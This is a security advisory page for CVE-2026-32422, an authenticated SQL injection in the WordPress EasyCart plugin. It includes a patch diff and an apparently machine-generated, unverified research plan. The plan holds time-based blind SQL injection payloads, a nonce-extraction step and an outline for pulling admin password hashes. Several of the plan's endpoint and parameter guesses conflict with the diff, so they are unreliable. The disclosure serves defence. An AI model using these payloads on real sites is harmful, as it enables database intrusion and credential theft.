CVE-2026-32422

EasyCart <= 5.8.13 - Authenticated (Contributor+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
5.8.14
Patched in
48d
Time to patch

Description

The EasyCart plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 5.8.13 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=5.8.13
PublishedFebruary 27, 2026
Last updatedApril 15, 2026
Affected pluginwp-easycart

What Changed in the Fix

Changes introduced in v5.8.14

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Vulnerability Research Plan: CVE-2026-32422 (WP EasyCart SQL Injection) ## 1. Vulnerability Summary The **Shopping Cart & eCommerce Store (wp-easycart)** plugin for WordPress is vulnerable to an **Authenticated SQL Injection** in versions up to and including **5.8.13**. The vulnerability arises f…

Show full research plan

Vulnerability Research Plan: CVE-2026-32422 (WP EasyCart SQL Injection)

1. Vulnerability Summary

The Shopping Cart & eCommerce Store (wp-easycart) plugin for WordPress is vulnerable to an Authenticated SQL Injection in versions up to and including 5.8.13. The vulnerability arises from improper neutralization of user-supplied input in database queries within administrative AJAX handlers. Specifically, certain parameters (likely filter, orderby, or order) are concatenated directly into SQL strings without being passed through $wpdb->prepare().

Since the vulnerability is accessible to Contributor-level users and above, it likely resides in a feature where contributors have "edit" or "view" access, or in an AJAX handler that lacks an explicit current_user_can('manage_options') check, defaulting instead to standard authenticated access or edit_posts.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: ec_ajax_get_product_list (inferred from common EasyCart patterns for product retrieval) or ec_ajax_get_products.
  • Vulnerable Parameter: filter (most likely) or orderby.
  • Authentication: Authenticated (Contributor+).
  • Preconditions:
    • The attacker must have a valid account with at least Contributor permissions.
    • The plugin must be active.

3. Code Flow (Inferred from Patch and Patterns)

  1. Entry Point: An authenticated user sends a POST request to admin-ajax.php with the action ec_ajax_get_product_list.
  2. Hook Registration: In inc/admin/admin_ajax.php (inferred path), the action is registered:
    add_action( 'wp_ajax_ec_ajax_get_product_list', array( $this, 'ec_ajax_get_product_list' ) );
  3. Handler Execution: The handler retrieves the filter parameter from $_POST['filter'].
  4. Database Class: The handler calls a method in the ec_db class (likely get_product_list or get_products).
  5. Vulnerable Sink: The database method constructs a raw SQL query:
    $sql = "SELECT ... WHERE ... AND ( product.title LIKE '%" . $filter . "%' OR product.model_number LIKE '%" . $filter . "%' )";
    $results = $wpdb->get_results( $sql ); // Missing $wpdb->prepare()
    

4. Nonce Acquisition Strategy

EasyCart uses nonces for its administrative AJAX operations. These are typically localized into a JavaScript object in the WordPress admin head.

  1. Identify Trigger: The ec_ajax_get_product_list action is used on the "Products" admin page.
  2. Create Access Page: Since Contributors might not see the "EasyCart" menu by default, we will check if the script is loaded on the standard dashboard or if we can force access to the products page.
  3. Execution Steps:
    • Log in as a Contributor.
    • Navigate to /wp-admin/admin.php?page=wp-easycart-products (Note: If this page is restricted, search for any admin page where wp-easycart scripts are enqueued).
    • Use browser_eval to extract the nonce:
      // Common EasyCart localization objects
      window.wp_easycart_admin_ajax_object?.nonce || 
      window.ec_admin_ajax?.nonce || 
      window.wp_easycart_admin_params?.nonce
      
    • The exact variable name in version 5.8.13 is usually wp_easycart_admin_params with key ajax_nonce.

5. Exploitation Strategy

We will use a Time-Based Blind SQL Injection payload because AJAX responses for product lists are often complex JSON, making UNION-based extraction difficult without knowing the exact column count of the internal EasyCart tables.

Step 1: Verification (Sleep Test)

Send a request to trigger a 5-second delay.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=ec_ajax_get_product_list&nonce=[NONCE]&filter=x') OR (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
    

Step 2: Data Extraction (Database Version)

Extract the first character of the database version.

  • Payload (in filter parameter):
    x') OR (SELECT 1 FROM (SELECT(IF(SUBSTRING(version(),1,1)='5',SLEEP(5),0)))a)-- -
    

6. Test Data Setup

  1. Users: Create a user with the contributor role.
  2. Products: Create at least one product in EasyCart so the get_product_list query returns results under normal conditions.
    • wp eval " (new ec_db())->insert_product('Test Product', 'MODEL123', 'desc', 10.00); " (Note: ec_db class name may vary, verify in source).
  3. Permissions: Ensure the Contributor role can access the product list menu, or that the AJAX action does not strictly enforce manage_options.

7. Expected Results

  • Vulnerable Version: The HTTP response will be delayed by approximately 5 seconds when the SLEEP(5) payload is sent.
  • Patched Version: The filter parameter will be escaped or prepared, resulting in an immediate response with 0 results found (since the literal string x') OR ... will not match any product titles).

8. Verification Steps (Post-Exploit)

Confirm the vulnerability exists by checking the wp-easycart version and searching for un-prepared queries in the plugin directory:

grep -r "\$wpdb->get_results" wp-content/plugins/wp-easycart/inc/classes/core/ec_db.php | grep -v "prepare"

9. Alternative Approaches

If ec_ajax_get_product_list is not the correct action:

  1. Action Discovery: Search for all registered AJAX actions in the plugin:
    grep -r "wp_ajax_" wp-content/plugins/wp-easycart/
    
  2. Order Injection: If the filter parameter is sanitized, check the orderby parameter. ORDER BY clauses cannot be prepared with %s and are a common source of SQLi in EasyCart.
    • Payload: action=ec_ajax_get_product_list&orderby=(CASE WHEN (1=1) THEN title ELSE (SELECT 1 FROM (SELECT SLEEP(5))x) END)
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP EasyCart plugin for WordPress is vulnerable to authenticated SQL injection in versions up to 5.8.13. This vulnerability occurs because the plugin fails to properly sanitize or use prepared statements when concatenating user-influenced variables, such as product or manufacturer IDs, into database queries.

Vulnerable Code

// wpeasycart.php lines 1967-1968
$product_where .= 'product.product_id = ' . $product_id;
$product_order_default .= 'product.product_id = ' . $product_id . ' DESC';

---

// wpeasycart.php line 1983
$product_where .= 'product.manufacturer_id = ' . (int) $manufacturer_id;

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/wp-easycart/5.8.13/wpeasycart.php	2026-02-01 00:18:46.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-easycart/5.8.14/wpeasycart.php	2026-02-17 18:23:04.000000000 +0000
@@ -1964,8 +1964,8 @@
 						$product_where .= ' OR ';
 						$product_order_default .= ', ';
 					}
-					$product_where .= 'product.product_id = ' . $product_id;
-					$product_order_default .= 'product.product_id = ' . $product_id . ' DESC';
+					$product_where .= $wpdb->prepare( 'product.product_id = %d', (int) $product_id );
+					$product_order_default .= $wpdb->prepare( 'product.product_id = %d DESC', (int) $product_id );
 					$ids++;
 				}
 
@@ -1980,7 +1980,7 @@
 				if ( $ids > 0 ) {
 					$product_where .= " OR ";
 				}
-				$product_where .= 'product.manufacturer_id = ' . (int) $manufacturer_id;
+				$product_where .= $wpdb->prepare( 'product.manufacturer_id = %d', (int) $manufacturer_id );
 				$ids++;
 			}
 		}
@@ -2995,7 +2995,7 @@
 			if ( $i > 0 ) {
 				$where_query .= " OR";
 			}
-			$where_query .= $wpdb->prepare( " product.product_id = %d", $product_ids[$i] );
+			$where_query .= $wpdb->prepare( " product.product_id = %d", (int) $product_ids[$i] );
 		}
 		$where_query .= ")";
 		$has_added_to_where = true;

Exploit Outline

The exploit involves an authenticated attacker with at least Contributor-level permissions triggering administrative or product-display logic that processes user-supplied IDs. By sending a request to an endpoint that utilizes the vulnerable query-building logic (such as certain shortcodes or AJAX actions like `ec_ajax_get_product_list`), the attacker can inject SQL payloads into parameters like `product_id` or `filter`. A common methodology is to use time-based blind SQL injection (e.g., `SLEEP()` commands) to confirm the vulnerability and subsequently extract sensitive data from the WordPress database, such as administrator password hashes.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.